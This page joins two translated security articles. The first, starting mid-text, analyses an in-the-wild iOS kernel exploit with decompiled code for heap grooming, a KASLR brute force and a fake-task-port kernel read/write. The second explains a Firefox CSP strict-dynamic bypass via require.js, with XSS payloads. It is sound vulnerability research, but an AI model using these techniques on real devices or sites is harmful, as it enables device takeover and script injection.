该漏洞利用还依赖于系统加载程序来解析符号。它使用与漏洞利用链#1相同的代码来终止当前任务中所有其它线程。然而，在继续之前，该漏洞利用首先尝试检测该设备是否已经被利用。它会读取kern.bootargs
sysctl变量，如果bootargs包含字符串“iop1”，则线程会进入到无限循环。在漏洞利用结束时，我们将看到他们使用构建的内核内存读/写原语将“iop1”字符串添加到bootargs。
它们使用相同的序列化NSDictionary技术来检查设备和内核版本的组合，获得必要的偏移量，并确定是否支持此设备。
## 漏洞利用
漏洞利用使用RLIMIT_NOFILE资源参数调用setrlimit，以将打开文件限制增加到0x2000。随后，创建0x800官大，保存读取和写入结束文件描述符。请注意，默认情况下，iOS对打开文件描述符的数量具有较低的限制，因此调用setrlimit。
至此，已经创建了一个IOSurfaceRootUserClient连接，并且目前只是用来触发漏洞，而不是用于存储属性对象。
随后，调用mach_zone_force_gc()，表明初始资源设置已完成，接下来将开始Heap Groom。
## 内核区域分配器垃圾收集
该漏洞引入了涉及mach_zone_force_gc主机端口方法的新技术。在第一个漏洞利用链中，我们看到使用了内核kalloc函数来分配内核堆内存。这里所指的“堆”是指“用于临时存储器的区域”，与传统意义上的堆数据结构无关。kalloc返回的内存实际上来自一个名为zalloc的区域分配器。
内核为内核区域分配器保留其虚拟地址空间的固定大小区域，并且定义了许多命名区域。然后，当区域基于动态存储器分配模式增长时，虚拟存储器区域被分成块。所有区域都返回固定大小的分配。
kalloc函数是许多通用固定大小区域的包装器，例如kalloc.512、kalloc.6144等等。Kalloc包装器函数选择适合所请求分配的最小kalloc.XXX大小，然后要求区域分配器从该区域返回新的分配。除了kalloc区域，许多内核子系统还定义了自己的专用区域。例如，代表mach端口的内核结构总是从它们自己的名为ipc.ports的区域中分配。这并不是一个安全缓解方式，但它的存在确实意味着攻击者必须采取一些额外的步骤来构建常规意义的Use-After-Free攻击。
随着时间的推移，zalloc区域会趋于碎片化。当内存接近不足时，区域分配器可以执行垃圾收集。这与Java语言中的垃圾收集无关，在这里的含义要简单得多：区域GC操作涉及查找由完全释放分配组成的区域块，将这些块从特定区域移除（例如kalloc.4096）并再次可用于所有区域。
在iOS
11之前，可以通过调用mach_zone_force_gc()主机端口MIG方法来强制执行区域垃圾收集。强制区域GC是一个非常有用的原语，因为它可以将一个区域中对象的漏洞利用转移到另一个区域的对象中。在我们后续研究的所有内核漏洞利用中，都会使用到这一技术。
我们回到漏洞利用，在这里分配了两组端口：
第一组：1200个端口
第二组：1024个端口
正如我们在第一个利用链中所看到的，将会使用mach消息的外部内存描述符进行Heap
Grooming。在这里，对函数本身进行了微小的改动，但原理保持不变，以制作受控大小的kalloc分配，其生命周期与特定的mach端口相关联。将调用send_kalloc_reserver：
send_kalloc_reserver(v124, 4096, 0, 2560, 1);
该过程会向端口v124发送一个mach消息，其中包含2560个外联描述符，每个描述符都会导致kalloc.4096区域分配。内存的内容在这里并不重要，最初它们只是试图填充kalloc.4096区域中的任何剩余空间。
## 对端口的Groom
我们已经看到漏洞涉及到mach端口，因此希望尝试一些关于mach端口的Heap
Grooming，这也就是接下来漏洞利用要做的事情。它分配了四个更大的端口组，我将其命名为ports_3、ports_4、ports_5和ports_6。
在一个循环中，将为ports_3分配10240个端口，然后分配一个我们称之为target_port_1的单独mach端口。随后，在第二个循环中为ports_4分配另外5120个端口。
在该过程中，试图像下面这样强制堆布局，其中target_port_1位于ipc_ports区域块中，块中的所有其他端口都来自ports_3或ports_4。请注意，由于iOS
9.2中引入了区域空闲列表缓解，因此在target_port_1的前面和后面都可能存在来自ports_3和ports_4的端口：
然后，再次执行相同的Groom过程，现在使用ports_5，然后是target_port_2，然后是ports_6：
在mach消息的外部端口描述符中，会向target_port_1发送发送权限。外联端口（例如外部存储区域）会一次又一次地出现，因此值得我们对其进行详细研究。
## Heap Grooming技术：外联端口
用于发送外部端口的mach消息中使用的描述符结构与用于发送外部内存的结构非常相似：
typedef struct {
void* address;
boolean_t deallocate: 8;
mach_msg_copy_options_t copy: 8;
mach_msg_type_name_t disposition : 8;
mach_msg_descriptor_type_t type : 8;
mach_msg_size_t count;
} mach_msg_ool_ports_descriptor_t;
地址字段也是指向缓冲区的指针，但这次是一个计数字段，而不是一个大小字段，它指定缓冲区中包含的mach端口名称的数量。当内核处理这个描述符时（位于ipc_kmsg.c中的ipc_kmsg_copyin_ool_ports_descriptor函数），将查找外部端口缓冲区的每个名称，对底层ipc_port结构进行引用，并将该引用指针置于其中一个kalloc的内存缓冲区，反映了外部端口缓冲区的布局。由于用户空间的端口名称为32位，并且iOS内核为64位，因此kalloc内核缓冲区的大小将会是外部端口描述符大小的两倍（因此每个32位名称都将成为64位的指针）。
随后，调用外部方法17（s_set_surface_notify）一次，将target_port_1作为wake_port参数传递。
要理解引用计数错误意味着什么，我们必须匹配并了解其生命周期。要弄清楚这里发生了什么，我们需要遍历目标端口的所有指针，并找出哪里具有引用。下面的图表展示了此时指向target_port_1的三个引用保持指针：
现在，有三个指向target_port_1的引用保持指针：
指针A是渲染器进程的mach端口名称表中的条目（task->itk_space->it_table）。
指针B位于当前正在传输的消息的外部端口缓冲区中。需要注意的是，漏洞利用程序将此消息发送到它拥有接收权限的端口，这意味着它仍然可以通过接收消息来接收此权限。
指针C由IOSurfaceRootUserClient持有。第一次调用s_set_surface_notify外部方法时没有错误产生，因为用户客户端会为期拥有的指针保存一个正确的引用。
## 触发漏洞
随后，使用相同参数再次调用外部方法17。如前所述，这将导致在target_port_1上丢弃额外的引用，这意味着仍然会有三个引用保持指针A、B和C，但target_port_1的io_references字段将为2。
随后，它们会销毁用户客户端，从而在target_port_1上丢弃它的引用。
这意味着指针C和一个引用已经消失，指针A、B以及引用计数为1。然后，攻击者采取如下操作。
首先，销毁ports_3中的所有端口：
然后，销毁发送带有外部端口描述符的消息的端口。因为这也会销毁端口消息队列中排队的所有消息，将会销毁指针B并丢弃一个引用：
引用计数将从1变为0，这意味着target_port_1分配将被释放回ipc_ports区域。但仍然可以使用指针A，现在指向ipc_ports区域块中已经释放的分配。
最后，将会销毁ports_4，希望将包含target_port_1的整个块保留为空（但指针A仍可用作悬空的ipc_port指针）。
此时，先前包含target_port_1的区域块应该完全是空的，并且调用mach_zone_force_gc()
MIG方法来回收页面，使它们可供所有区域重复使用。
需要注意的是，漏洞利用假设只有来自ports_3、target_port_1和ports_4的端口填充目标ipc_ports区域块。如果不是这种情况，例如由于另一个任务在漏洞尝试填充ports_3和ports_4时分配了一个端口，那么漏洞利用将会失败，因为块不会被mach_zone_force_gc()进行垃圾收集。因此，target_port_1将继续指向释放后的ipc_port，很有可能导致内存严重错误（Kernel
Panic）。
该漏洞利用现在尝试执行“区域转换”操作，目的是试图将悬空指针A指向的存储器改为不同的区域。具体而言，将指向kalloc.4096。这也就是为什么之前进行了大量的kalloc.4096分配的原因。
现在，将大量具有外部端口描述符的mach消息发送到在漏洞利用开始时分配的一些端口。
每个描述符都有512个端口名称，意味着内核将分配一个4096字节的缓冲区（512个端口*每个指针8字节），端口名称在MACH_PORT_NULL和target_port_2之间轮换，这样target_port_2的地址将与悬挂的ipc_port的ip_context字段重叠。
这是一种当前众所周知的技术，用于从外部端口描述符创建伪内核对象。
他们发送了大量描述符，希望其中一个能替换之前由target_port_1占用的内存。然后，尝试读取悬空target_port_1的上下文值（将使用指针A）。
mach_port_get_context(mach_task_self(), port_to_test, &context_val);
这是有效的，因为mach_port_get_context的内核代码非常简单，它不对端口进行引用，只保持锁定，读取ip_context字段并返回。因此，即使使用从外部端口描述符构建的非常零散的替换对象，它也可以正常工作。
如果以前包含target_port_1的内存确实被其中一个外部端口描述符替换，那么mach_port_get_context读取的值将是指向target_port_2的指针，这意味着它们已经公开了target_pointer_2在内存中的位置。
在其余所有的漏洞利用链中，都需要在已知位置获得已知数据，目前就已经解决了这一问题。
## 冲洗并重复
现在，已经知道target_port_2在内存中的位置，可以第二次触发漏洞以获得第二个悬空端口指针，这次是target_port_2。
首先销毁替换器外部端口描述符被发送到的所有端口，这会导致它们全部被释放到kalloc.4096空闲列表中。然后，它们通过外部内存描述符快速生成12800
kalloc.4096分配，以确保target_port_1指向的内存不会被重用于不受控制的分配。
现在将执行与之前相同的操作，来获取指向target_port_2的悬空指针：在外联端口描述符中将其发送给自己，通过IOSurfaceRootUserClient外部方法17来触发漏洞，然后关闭用户客户端并销毁周围的端口（这次是ports_5和ports_6数组）。
然而，第二次他们使用不同的替换对象，现在将尝试使用外部内存描述符来替换，而不再是外部端口。
char replacer_buf[4096] = {0};
do {
loop_iter = 0;
for (int nn = 0; nn < 20; nn++) {
build_replacer_ool_mem_region(replacer_buf,
(loop_iter << 12) + (port_context_tag << 32));
send_kalloc_reserver(second_ports[loop_iter++],
4096,
&replacer_buf[24],
1024, // 4MB each message
1);
}
mach_port_get_context(mach_task_self(),
second_target_port,
&raw_addr_of_second_target_port);
} while(HIDWORD(raw_addr_of_second_target_port) != port_context_tag );
void
build_replacer_ool_mem_region(char* buf,
uint64_t context_val)
{
offset = 0x90; // initial value is offset of ip_context field
for (int i = 0; i < constant_based_on_memsize; i++) {
*(uint64_t*)(buf + (offset & 0xfff)) = context_val + (offset & 0xFFF);
offset += 0xA8; // sizeof(struct ipc_port);
}
}
他们试图在外联内存描述符中填充虚假的端口，并且只关注上下文字段。这次，将三个单独的值打包到伪上下文字段中：
0-11：替换器页面中这段上下文字段的偏移量
12-31：loop_iteration（索引到发送kalloc_replacer的端口的second_ports数组）
32-63：0x1122 – 检测是否为替换端口的魔术值
每次循环过程，它们都会产生20480个kalloc.4096分配，希望其中一个分配能替换之前包含target_port_2的内存。该过程中，通过mach_port_get_context()来读取target_port_2的上下文值，并检查较高的32位是否与0x1122魔术值匹配。
根据已经了解的上下文值，可以知道哪个second_ports发送了与target_port_2重叠的kalloc替换其消息。并且根据第12-31位，也知道了替换器端口的页面上的偏移量。
他们释放了kalloc替换器被发送到的端口，这也将释放另外1023个kalloc.4096分配，这些分配之间不存在重叠情况。
还有另一个窗口，系统上的不同进程可以重新分配目标内存缓冲区，这将导致漏洞利用崩溃。
## 管道
现在，在一个循环中，他们将4095字节的缓冲区写入之前分配的0x800管道的写入端。管道代码将进行kalloc.4096的分配，以保存管道的内容。对于替换mach消息的外部内存缓冲区来说，似乎没有什么不同，但还存在一个根本上的区别：管道缓冲区是可变的。通过读取管道缓冲区的完整内容（清空管道）然后写回相同数量的替换字节（重新填充管道缓冲区），可以更改后备kalloc分配的内容，而不会将其释放并重新分配，这就像mach消息OOL内存缓冲区的情况一样。
有读者可能会问，与先OOL内存再管道相比，为什么不直接用管道替换？原因在于，管道支持缓冲区具有自己相对较低的分配大小限制（16MB），而传输中的OOL内存仅仅收到可用区域分配器内存的限制。随着攻击者在后期不断改进利用链，他们实际上逐步删除了中间的OOL步骤。
攻击者使用与以前相同的函数来构建将替换端口的管道缓冲区内容，但使用不同的标记魔术值，并将第12-31位设置为pipe_fd数组中管道的索引：
replacer_pipe_index = 0;
for (int i1 = 0; i1 < *n_pipes; i1++) {
build_replacer_ool_mem_region(replacer_buf,
(i1 << 12) + (port_context_tag << 33));
write(pipe_fds[2 * i1 + 1], replacer_buf, 0xFFF);
}
他们再次从第二个悬空端口通过mach_port_get_context读取ip_context值，并检查上下文是否与新的管道替换器上下文匹配。如果是，他们现在已经成功创建了一个虚假的ipc_port，对应着一个可变的管道缓冲区。
## 使用clock_sleep_trap击败KASLR
在Stefen
Esser讨论OOL端口描述符技术的幻灯片中，他还讨论了一种使用假mach端口强制使用KASLR的技术。这个技巧也被用于yalu102越狱之中。
下面是clock_sleep_trap的代码。在这里的mach相当于BSD系统调用。
/*
* Sleep on a clock. System trap. User-level libmach clock_sleep
* interface call takes a mach_timespec_t sleep_time argument which it
* converts to sleep_sec and sleep_nsec arguments which are then
* passed to clock_sleep_trap.
*/
kern_return_t
clock_sleep_trap(
struct clock_sleep_trap_args *args)
{
mach_port_name_t clock_name = args->clock_name;
sleep_type_t sleep_type = args->sleep_type;
int sleep_sec = args->sleep_sec;
int sleep_nsec = args->sleep_nsec;
mach_vm_address_t wakeup_time_addr = args->wakeup_time;
clock_t clock;
mach_timespec_t swtime = {};
kern_return_t rvalue;
/*
* Convert the trap parameters.
*/
if (clock_name == MACH_PORT_NULL)
clock = &clock_list[SYSTEM_CLOCK];
else
clock = port_name_to_clock(clock_name);
swtime.tv_sec = sleep_sec;
swtime.tv_nsec = sleep_nsec;
/*
* Call the actual clock_sleep routine.
*/
rvalue = clock_sleep_internal(clock, sleep_type, &swtime);
/*
* Return current time as wakeup time.
*/
if (rvalue != KERN_INVALID_ARGUMENT && rvalue != KERN_FAILURE) {
copyout((char *)&swtime, wakeup_time_addr, sizeof(mach_timespec_t));
}
return (rvalue);
}
clock_t
port_name_to_clock(mach_port_name_t clock_name)
{
clock_t clock = CLOCK_NULL;
ipc_space_t space;
ipc_port_t port;
if (clock_name == 0)
return (clock);
space = current_space();
if (ipc_port_translate_send(space, clock_name, &port) != KERN_SUCCESS)
return (clock);
if (ip_active(port) && (ip_kotype(port) == IKOT_CLOCK))
clock = (clock_t) port->ip_kobject;
ip_unlock(port);
return (clock);
}
static kern_return_t
clock_sleep_internal(clock_t clock,
sleep_type_t sleep_type,
mach_timespec_t* sleep_time)
{
...
if (clock == CLOCK_NULL)
return (KERN_INVALID_ARGUMENT);
if (clock != &clock_list[SYSTEM_CLOCK])
return (KERN_FAILURE);
...
/*
* List of clock devices.
*/
SECURITY_READ_ONLY_LATE(struct clock) clock_list[] = {
/* SYSTEM_CLOCK */
{ &sysclk_ops, 0, 0 },
/* CALENDAR_CLOCK */
{ &calend_ops, 0, 0 }
};
其工作原理是，将虚假端口的名称作为clock_name传递给trap。该名称将传递给port_name_to_clock，后者验证结构ipc_port的io_bit的KOTYPE字段是否为IKOT_CLOCK，然后返回ip_kobject字段，该字段是虚假端口中偏移量+0x68处的指针值。该指针作为clock_sleep_internal的第一个参数传递，并与&clock_list[SYSTEM_CLOCK]进行比较：
if (clock != &clock_list[SYSTEM_CLOCK])
return (KERN_FAILURE);
我们对上述技巧需要有两点深入了解：首先，clock_list数组驻留在内核DATA段中，并且与内核的其余部分一样，使用了相同的KASLR
Slide。其次，clock_sleep_trap返回KERN_FAILURE的唯一方法是上述比较过程结果不一致。其他的所有错误路径都会返回不同的错误代码。
我们将上述两点相组合，就可以暴力破解KASLR。对于该漏洞利用所面向的iOS版本，只有256个可能的KASLR
Slide。因此，通过创建一个虚假的IKOT_CLOCK端口并依次将clock_list数组中的system
clock的每个可能地址设置为ip_kobject字段，然后调用clock_sleep_trap mach
trap并观察返回值是否不是KERN_FAILURE，就可以确定出正确的那一个。
代码如下：
int current_slide_index = 0;
char buf[0x1000];
while (current_slide_index < 256) {
// empty the pipe
read(pipe_fds[2 * replacer_pipe_index],
buf,
0x1000uLL);
// build a fake clock port
memset(buf, 0, 0x1000);
char* fake_port = &buf[offset_of_second_port_on_page];
*(uint32_t*)(fake_port+0x00) = 0x80000019; // IO_ACTIVE | IKOT_CLOCK
*(uint32_t*)(fake_port+0x08) = 10; // io_refs
// ip_kobject
*(uint64_t*)(fake_port+0x68) = system_clock_kaddr_unslid + (current_slide_index << 21);
*(uint32_t*)(fake_port+0xa0) = 10; // msg count
// refill the pipe
write(pipe_bufs[(2 * replacer_pipe_index) + 1],
buf,
0xfff);
if ( !(unsigned int)clock_sleep_trap(second_target_port, 0, 0, 0, 0)) {
// found it!
kernel_base = 0xfffffff007004000 + (current_slide_index << 21);
break;
}
current_slide_index++;
}
在iOS漏洞利用链#2、#3和#4中，使用了相同的技巧和代码。
## 内核读取和写入
在iOS漏洞利用链1中，我们涉及到了内核任务端口。一个端口，经过精心设计后，就可以授予对拥有发送权限的任何人的内核内存读写访问权限。利用内存损坏漏洞，攻击者能够获得对真实内核任务端口的发送权限，从而非常容易地获得修改内核内存的能力。
在iOS 10.3中，引入了一种缓解措施，旨在防止内核任务端口被任何用户空间进程使用。
在convert_port_to_task，会调用将任务端口转换为基础结构任务的指针，添加了以下代码：
if (task == kernel_task && current_task() != kernel_task) {
ip_unlock(port);
return TASK_NULL;
}
攻击者很容易绕过这种缓解方案。通过简单地在不同的内核地址上创建内核任务结构的副本，与kernel_task的指针比较结果将不一致，内核内存读写访问将持续工作。
该绕过的先决条件是能够读取真实内核任务结构中足够多的字段，从而可以制作虚假的副本。为此，攻击者使用了pid_for_task技巧。在看到yalu102越狱中使用过这一技巧后，我首先使用了这一技巧，但与此同时Stefen
Esser声称至少从iOS 9开始就在他的iOS漏洞利用课程中教授这一技巧。
## pid_for_task
这个技巧的先决条件是能够制作虚假的ipc_port结构，并能将受控数据放在已知地址。在拥有这两个原语之后，便可以在任意受控地址读取32位值。
这一技巧是构建一个虚假的任务端口（KOTYPE=IKOT_TASK），但目标不是针对mach_vm_read/write方法使用的字段，而是pid_for_task
trap。针对iOS 10.3的trap代码如下：
kern_return_t
pid_for_task(struct pid_for_task_args *args)
{
mach_port_name_t t = args->t;
user_addr_t pid_addr = args->pid;
...
t1 = port_name_to_task(t);
...
p = get_bsdtask_info(t1);
if (p) {
pid = proc_pid(p);
...
(void) copyout((char *) &pid, pid_addr, sizeof(int));
...
}
port_name_to_task将验证KOTYPE字段是否为IKOT_TASK，然后返回ip_kobject字段。
get_bsdtask_info返回struct任务的bsd_info字段：
void *get_bsdtask_info(task_t t)
{
return(t->bsd_info);
}
proc_pid返回结构proc的p_pid字段：
int
proc_pid(proc_t p)
{
if (p != NULL)
return (p->p_pid);
...
}
在该漏洞利用支持的所有iOS版本中，结构task的bsd_info字段都位于偏移量+0x360处，而所有结构proc的p_pid字段都位于偏移量+0x10处。
因此，通过将ip_kobject字段指向受控制的存储器，然后在偏移0x360处写入一个指针，该指针指向我们希望读取的32位值后面的0x10字节，可以构建一个虚假的任务端口，该端口在传递给pid_for_task
trap时，将返回从任意地址读取的32位值。
具体代码如下：
uint32_t
slow_kread_32(uint64_t kaddr,
mach_port_name_t dangling_port,
int *pipe_fds,
int offset_on_page_to_fake_port,
uint64_t pipe_buffer_kaddr):
{
char buf[0x1000] = {0};
// empty pipe buffer
read(pipe_fds[0],
buf,
0x1000);
// build the fake task struct on the opposite side of the page
// to the fake port
if ( offset_on_page_to_fake_port < 1792 )
offset_on_page_to_fake_task = 2048;
// build the fake task port:
char* fake_ipc_port = &buf[offset_on_page_to_fake_port];
*(uint32_t*)(fake_ipc_port+0x00) = 0x80000002; // IO_ACTIVE | IKOT_PORT
*(uint32_t*)(fake_port+0x08) = 10; // io_refs
// ip_kobject
*(uint64_t*)(fake_port+0x68) = pipe_buffer_kaddr + offset_on_page_to_fake_task;
char* fake_task = &buf[offset_on_page_to_fake_task];
*((uint32_t*)(fake_task + 0x10) = 10; // task refs
*((uint64_t*)(fake_task + 0x360) = kaddr - 0x10; // 0x10 below target kaddr
// refill pipe buffer
write(pipe_fds[1],
buf,
0xfff);
pid_t pid = 0;;
pid_for_task(dangling_port, &pid);
return (uint32_t)pid;
}
该技术将在所有后续漏洞利用链中，用于初始bootstrap内核内存读取功能。
## 内核内存写入
首先，在内核映像的基础上读取了32位值。之所以能够这样做，是因为已经确定了KASLR
Slide，因此通过将其添加到未刷新的硬编码内核映像加载地址（0xfffffff007004000）就可以确定内核映像的运行时基址。然而，这一读取可能是在测试过程中发现的，因为对读取到的值无法做任何操作。
使用此设备的偏移量和内核版本，可以读取DATA段中指向kernel_task的指针的地址，然后读取整个任务结构：
for (int i3 = 0; i3 < 0x180; i3++) {
val = slow_kread_32(
kernel_task_address_runtime + 4 * i3,
second_target_port,
&pipe_fds[2 * replacer_pipe_index],
second_dangler_port_offset_on_page,
page_base_of_second_target_port);
*(_DWORD *)&fake_kernel_task[4 * i3] = val;
}
在任务结构中，读取指针+0xe8，即itk_sself，这是一个指向真实内核任务端口的指针。然后，可以读取整个真实内核任务端口的内容：
memset(fake_kernel_task_port, 0, 0x100);
for ( i4 = 0; i4 < 64; ++i4 ) {
v17 = slow_kread_32(
kernel_task_port_address_runtime + 4 * i4,
second_target_port,
&pipe_fds[2 * replacer_pipe_index],
second_dangler_port_offset_on_page,
page_base_of_second_target_port);
*(_DWORD *)&fake_kernel_task_port[4 * i4] = v17;
}
他们对内核任务端口的副本进行了三处更改：
// increase the reference count:
*(_DWORD *)&fake_kernel_task_port[4] = 0x2000;
// pointer the ip_kobject pointer in to the pipe buffer
*(_QWORD *)&fake_kernel_task_port[0x68] = page_base_of_second_target_port + offset;
// increase the sorights
*(_DWORD *)&fake_kernel_task_port[0xA0] = 0x2000;
随后，将其复制到缓冲区中，缓冲区将被写入悬空端口偏移量处的管道：
memset(replacer_page_contents, 0, 0x1000uLL);
memcpy(&replacer_page_contents[second_dangler_port_offset_on_page],
fake_kernel_task_port,
0xA8);
对于不包含端口的一半页面，编写虚假的内存任务：
memcpy(&replacer_page_contents[other_side_index], fake_kernel_task, 0x600);
该过程通过端口（管道缓冲区）实现写入，创建一个虚假内核任务端口，绕过了内核任务端口缓解。
本系列文章中的所有后续内核漏洞，都重复使用了这种技术。
## 后利用过程
获得了内核内存的读取/写入访问权限后，就像在iOS漏洞利用链#1中一样，通过查找launch的ucred来解除当前进程的取消分配。攻击者的代码有所改进，现在在派生出植入工具后会恢复当前进程的原始ucred。
攻击者必须修补平台策略字节码，并将植入工具的哈希值添加到信任缓存之中。
在后利用阶段，与利用链#1的主要差异在于攻击者现在将设备标记为已被成功利用。攻击者希望在内核漏洞利用过程中尽早检查是否存在这一标记，如果存在则立即退出。
具体来说，攻击者会覆盖iBoot传递给引导XNU内核的引导参数。可以从MobileSafari渲染器沙箱中读取此字符串。他们将字符串“iopl”添加到bootargs，并在内核漏洞利用的一开始读取bootargs并检查是否存在此字符串。如果找到，则证明这台设备已经被攻陷，他们不需要再继续进行漏洞利用。
在posix_spawn之后，植入二进制文件会等待1/10秒，重置其ucreds，将它们的发送权限放在虚假核心任务端口，ping启动植入工具的服务器并进入持续休眠的状态。 | 社区文章 |
# Firefox中通用内容安全策略的Strict-Dynamic限制绕过漏洞分析
##### 译文声明
本文是翻译文章，文章来源：https://mksben.l0.cm/
原文地址：<https://mksben.l0.cm/2018/05/cve-2018-5175-firefox-csp-strict-dynamic-bypass.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
在本文中，我们将重点分析如何绕过Firefox内容安全策略中的“Strict-Dynamic”限制。该漏洞详情请参考：
<https://www.mozilla.org/en-US/security/advisories/mfsa2018-11/#CVE-2018-5175>
。该漏洞将绕过内容安全策略（CSP）的保护机制，而在该机制中包含一个“严格动态限制”的Script-src策略。如果目标网站中存在HTTP注入漏洞，攻击者可以将一个引用注入到require.js库的一个副本中，这个库位于Firefox开发人员工具之中，攻击者随后便可以使用已知技术，利用该库绕过CSP限制，从而执行注入脚本。
## 关于“Strict-Dynamic”
各位读者可能已经阅读过内容安全策略的规范（ <https://www.w3.org/TR/CSP3/#strict-dynamic-usage>
），但在这里，我还是有必要先对“Strict-Dynamic”（严格动态限制）进行解释。如果读者已经完全掌握相关知识，可以跳过本节的阅读。
众所周知的内容安全策略（CSP）限制，其原理是通过将域名列入白名单来限制资源的加载。举例来说，下面的CSP设置仅允许从其自身的来源和trusted.example.com域名加载JavaScript：
Content-Security-Policy: script-src 'self' trusted.example.com
由于这个内容安全策略的存在，即使在页面中存在XSS漏洞，该页面也无法通过内联脚本或evil.example.org的JavaScript文件来执行JavaScript脚本。这一策略看起来确实足够安全，但是，如果在trusted.example.org中存在任何绕过内容安全策略的脚本，那么就仍然可以执行JavaScript。更具体地说，如果在trusted.example.com中存在一个JSONP端点，那么就有可能被绕过，如下所示：
<script src="//trusted.example.com/jsonp?callback=alert(1)//"></script>
如果此端点直接将用户输入的参数传递给callback函数，那么就可以执行任意脚本，示例中的脚本如下：
alert(1)//({});
另外，目前已知AngularJS也可以用于绕过内容安全策略（
<https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it%27s-CSP!%22#127-bytes>
）。这种绕过方式的利用可能会更为实际，特别适用于允许托管许多JavaScript文件（如CDN）的域名。
这样一来，即使在白名单中，有时也很难通过内容安全策略来保障安全性。为了解决这一问题，就设计了“Strict-Dynamic”的限制。其用法示例如下：
Content-Security-Policy: script-src 'nonce-secret' 'strict-dynamic'
这就意味着白名单将被禁用，并且只有在nonce属性中具有“secret”字符串的脚本才会被加载。
<!-- This will load -->
<script src="//example.com/assets/A.js" nonce="secret"></script>
<!-- This will not load -->
<script src="//example.com/assets/B.js"></script>
在这里，A.js可能想要加载并使用另一个JavaScript。为了实现这一点，内容安全策略规范中允许具有正确nonce属性的JavaScript，在特定条件下加载没有正确nonce属性的JavaScript。使用规范中的关键词，就可以允许非解析型脚本（Parser-Inserted Script）元素执行JavaScript。
示例如下：
/* A.js */
//This will load
var script=document.createElement('script');
script.src='//example.org/dependency.js';
document.body.appendChild(script);
//This will not load
document.write("<scr"+"ipt src='//example.org/dependency.js'></scr"+"ipt>");
当使用createElement()加载时，它是一个非解析型脚本元素，该加载动作被允许。另一个反例是，使用document.write()加载时，它是一个解析型脚本元素（Parser-Inserted Script Element），所以不会被加载。
到目前为止，我已经大致地解释了“Strict-Dynamic”。顺便要提一句，“Strict-Dynamic”在某些情况下是可以被绕过的。下面我就介绍一种已知的“Strict-Dynamic”的绕过方式。
## 已知的Strict-Dynamic绕过方法
如果在目标页面中使用特定的库，那么Strict-Dynamic就可以被绕过。
该绕过方式已经由Google的Sebastian Lekies、Eduardo Vela Nava、Krzysztof
Kotowicz进行测试，受影响的库请参见： <https://github.com/google/security-research-pocs/blob/master/script-gadgets/bypasses.md> 。
接下来，我们来看看这个列表中借助require.js实现Strict-Dynamic绕过的方法。
假设目标页面使用了Strict-Dynamic的内容安全策略，并且加载require.js，同时具有简单的XSS漏洞。在这种情况下，如果输入以下脚本元素，攻击者就可以在没有正确的nonce的情况下执行任意JavaScript。
<meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'nonce-secret' 'strict-dynamic'">
<!-- XSS START -->
<script data-main="data:,alert(1)"></script>
<!-- XSS END -->
<script nonce="secret" src="require.js"></script>
当require.js找到一个具有data-main属性的脚本元素时，它会加载data-main属性中指定的脚本，其等效代码如下：
var node = document.createElement('script');
node.url = 'data:,alert(1)';
document.head.appendChild(node);
如前所述，Strict-Dynamic允许从createElement()加载没有正确nonce的JavaScript脚本。这样一来，就可以借助某些已经加载的JavaScript代码行为，在某种情况下绕过内容安全策略的Strict-Dynamic。而在Firefox中的漏洞，正是由于require.js的这种情况引起的。
## 通用Strict-Dynamic绕过漏洞（CVE-2018-5175）
Firefox使用一些传统的扩展实现了部分浏览器功能。在Firefox
57版本中，移除了基于XUL/XPCOM的扩展，但没有移除WebExtensions。即使是在最新的60版本中，浏览器内部仍然使用这种机制。
要利用这一漏洞，我们首先要借助浏览器内部使用的传统扩展资源。在WebExtensions中，通过在manifest中设置web_accessible_resources项（
<https://developer.mozilla.org/en/Add-ons/WebExtensions/manifest.json/web_accessible_resources>
），就可以从任何网页中访问所列出的资源。传统扩展中有一个名为contentaccessible标志的类似选项（
<https://developer.mozilla.org/ja/docs/Mozilla/Chrome_Registration#contentaccessible>
）。我们这一漏洞，正是通过将contentaccessible标志设置为yes，从而让浏览器内部资源的require.js可以被任意Web页面访问，最终实现内容安全策略的绕过。
接下来，我们具体分析一下manifest。如果是Windows环境下的64位Firefox，我们可以通过以下URL查看到manifest：
jar:file:///C:/Program%20Files%20(x86)/Mozilla%20Firefox/browser/omni.ja!/chrome/chrome.manifest
content branding browser/content/branding/ contentaccessible=yes
content browser browser/content/browser/ contentaccessible=yes
skin browser classic/1.0 browser/skin/classic/browser/
skin communicator classic/1.0 browser/skin/classic/communicator/
content webide webide/content/
skin webide classic/1.0 webide/skin/
content devtools-shim devtools-shim/content/
content devtools devtools/content/
skin devtools classic/1.0 devtools/skin/
locale branding ja ja/locale/branding/
locale browser ja ja/locale/browser/
locale browser-region ja ja/locale/browser-region/
locale devtools ja ja/locale/ja/devtools/client/
locale devtools-shared ja ja/locale/ja/devtools/shared/
locale devtools-shim ja ja/locale/ja/devtools/shim/
locale pdf.js ja ja/locale/pdfviewer/
overlay chrome://browser/content/browser.xul chrome://browser/content/report-phishing-overlay.xul
overlay chrome://browser/content/places/places.xul chrome://browser/content/places/downloadsViewOverlay.xul
overlay chrome://global/content/viewPartialSource.xul chrome://browser/content/viewSourceOverlay.xul
overlay chrome://global/content/viewSource.xul chrome://browser/content/viewSourceOverlay.xul
override chrome://global/content/license.html chrome://browser/content/license.html
override chrome://global/content/netError.xhtml chrome://browser/content/aboutNetError.xhtml
override chrome://global/locale/appstrings.properties chrome://browser/locale/appstrings.properties
override chrome://global/locale/netError.dtd chrome://browser/locale/netError.dtd
override chrome://mozapps/locale/downloads/settingsChange.dtd chrome://browser/locale/downloads/settingsChange.dtd
resource search-plugins chrome://browser/locale/searchplugins/
resource usercontext-content browser/content/ contentaccessible=yes
resource pdf.js pdfjs/content/
resource devtools devtools/modules/devtools/
resource devtools-client-jsonview resource://devtools/client/jsonview/ contentaccessible=yes
resource devtools-client-shared resource://devtools/client/shared/ contentaccessible=yes
上面的倒数第2、3行，就是使文件可以从任意Web站点访问的部分。这两行用于创建一个resource: URI（
<https://developer.mozilla.org/en-US/docs/Mozilla/Chrome_Registration#resource> ）。倒数第三行中，resource devtools
会将devtools/modules/devtools/目录映射到resource://devtools/，该目录存在于jar:file:///C:/Program%20Files%20(x86)/Mozilla%20Firefox/browser/omni.ja!/chrome/devtools/modules/devtools/
。
现在，我们可以使用Firefox，通过resource://devtools/来访问目录下的文件。同理，倒数第二行是映射到resource://devtools-client-jsonview/
